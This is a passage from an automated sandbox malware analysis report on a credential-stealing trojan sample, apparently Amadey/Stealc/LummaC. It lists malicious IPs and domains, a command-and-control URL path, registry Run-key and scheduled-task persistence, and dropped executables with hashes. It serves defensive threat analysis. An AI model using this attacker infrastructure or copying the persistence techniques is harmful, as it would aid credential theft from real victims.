https://tools.ietf.org/html/draft-west-first-party-cookies).	firefox.exe, 0000002E.00000003.2995577212.0000020F30A5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2993870594.0000020F30A5D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2193594882.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693716552.00000000056ED000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693541904.00000000056EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/account?=https://ac8	firefox.exe, 00000021.00000002.2936072675.0000029B41DE0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts	firefox.exe, 0000002E.00000003.3053774318.0000020F382CD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000002E.00000003.3053774318.0000020F382CD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mozilla.org/	firefox.exe, 0000002E.00000003.2988145468.0000020F2F7E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.206	youtube.com	United States	15169	GOOGLEUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546479
Start date and time:	2024-11-01 00:37:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@82/26@100/14
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 35.160.212.113, 52.11.191.138, 54.185.230.140, 142.250.185.138, 142.250.185.74, 142.250.186.78, 2.22.61.56, 2.22.61.59, 142.250.186.142
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, ciscobinary.openh264.org, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, a17.rackcdn.com.mdc.edgesuite.net, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, safebrowsing.googleapis.com, location.services.mozilla.com
Execution Graph export aborted for target 99Q4Y3O9GBOXYTDVM9GPHI.exe, PID 1088 because it is empty
Execution Graph export aborted for target efe6fe4127.exe, PID 4916 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6532 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:38:25	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
00:38:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run efe6fe4127.exe C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe
00:39:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b76bb5cee7.exe C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe
00:39:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run deecb7b612.exe C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe
00:39:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003039001\num.exe
00:39:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run efe6fe4127.exe C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe
00:39:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b76bb5cee7.exe C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe
00:39:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run deecb7b612.exe C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe
00:39:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003039001\num.exe
19:38:00	API Interceptor	10x Sleep call for process: file.exe modified
19:38:35	API Interceptor	821721x Sleep call for process: skotes.exe modified
19:38:50	API Interceptor	39x Sleep call for process: efe6fe4127.exe modified
19:39:15	API Interceptor	24x Sleep call for process: b76bb5cee7.exe modified
19:39:35	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.149.100.209	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	sF9f27gI0U.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	188.114.96.3
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\U2242U1STHGPPKHG.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YQEN9A9QU4P1VROBPV5YS.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584675397091212
Encrypted:	false
SSDEEP:	12288:JqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TT:JqDEvCTbMWu7rQYlBQcBiT6rprG8abT
MD5:	CD6AD64420E0649DD184452AC6482A48
SHA1:	74074B5F08137389C4A709CBDFF7A041A76D19CC
SHA-256:	9117394486AE8F394F5CEDD8280AC81D48D51EDFDC4EBF9B131A10894D51235E
SHA-512:	781D4EDE0F408B7BE97CDC51E11077D5918B884BE3AC37D3FCDE121F9B5F7BDE0BFD41CEDD450C37B0CA1F0D5152F9F54B867609F4C3727BA96560A9E0197954
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....$g.........."..........X......w.............@..........................`.......F....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2955264
Entropy (8bit):	6.535241995814189
Encrypted:	false
SSDEEP:	49152:DKyxQF5vqLfasZkU6662AMP8j12cAiH1w64g:myxQbvqLBZJX3cVH1w64
MD5:	04E39D3BF9BD2B3CDF9809124FC8E25C
SHA1:	923CE593CFF9DB08CF2990B7513A17875D0DD903
SHA-256:	F370AE6A49126A86D98F7F1D3CE1882F660E63873B8152F65FEB69367CA843A2
SHA-512:	7A46829C2475F6F4BEBA1CF160329215E5751E65AEF3E70196C81B6510169FB57D52C74BDAB9B8906B762AF4AD8CE63E7DE0E725BD5663FC838F65FDBC09FE40
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J........... 0...........@..........................P0......I-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...iktxewek.`......^.................@...nlvjxyrc......0.......,.............@....taggant.0... 0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2123776
Entropy (8bit):	7.957120921245521
Encrypted:	false
SSDEEP:	49152:vYv5z1zDZeVTz5VTmmGkADB6bn9ImIO53GFgFgANX:o59udFmmvADBwim72
MD5:	43DEAE52C429449144C488C4EA074C14
SHA1:	2496E112CF08E1584A15D65409D84936F3C8B7F9
SHA-256:	BD4BEFF45C77E1045BD78A72E0DBD8700F18D088A57CE444EB2B8A5422035BBF
SHA-512:	F892CCC0112A9910BB1F8E391304890B1D2D8F77D7AB6428DE2C6A8CAA554EE979DCEE531ACC95944942914ED503A459F29691BE24AE73CB440F3480A9969DB5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......0r...........@..........................`r......T!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...fozyxqhw.....`X.....................@...gnsdcfju..... r......@ .............@....taggant.0...0r.."...F .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ykDoK8BtxW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2955264
Entropy (8bit):	6.535241995814189
Encrypted:	false
SSDEEP:	49152:DKyxQF5vqLfasZkU6662AMP8j12cAiH1w64g:myxQbvqLBZJX3cVH1w64
MD5:	04E39D3BF9BD2B3CDF9809124FC8E25C
SHA1:	923CE593CFF9DB08CF2990B7513A17875D0DD903
SHA-256:	F370AE6A49126A86D98F7F1D3CE1882F660E63873B8152F65FEB69367CA843A2
SHA-512:	7A46829C2475F6F4BEBA1CF160329215E5751E65AEF3E70196C81B6510169FB57D52C74BDAB9B8906B762AF4AD8CE63E7DE0E725BD5663FC838F65FDBC09FE40
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J........... 0...........@..........................P0......I-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...iktxewek.`......^.................@...nlvjxyrc......0.......,.............@....taggant.0... 0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2123776
Entropy (8bit):	7.957120921245521
Encrypted:	false
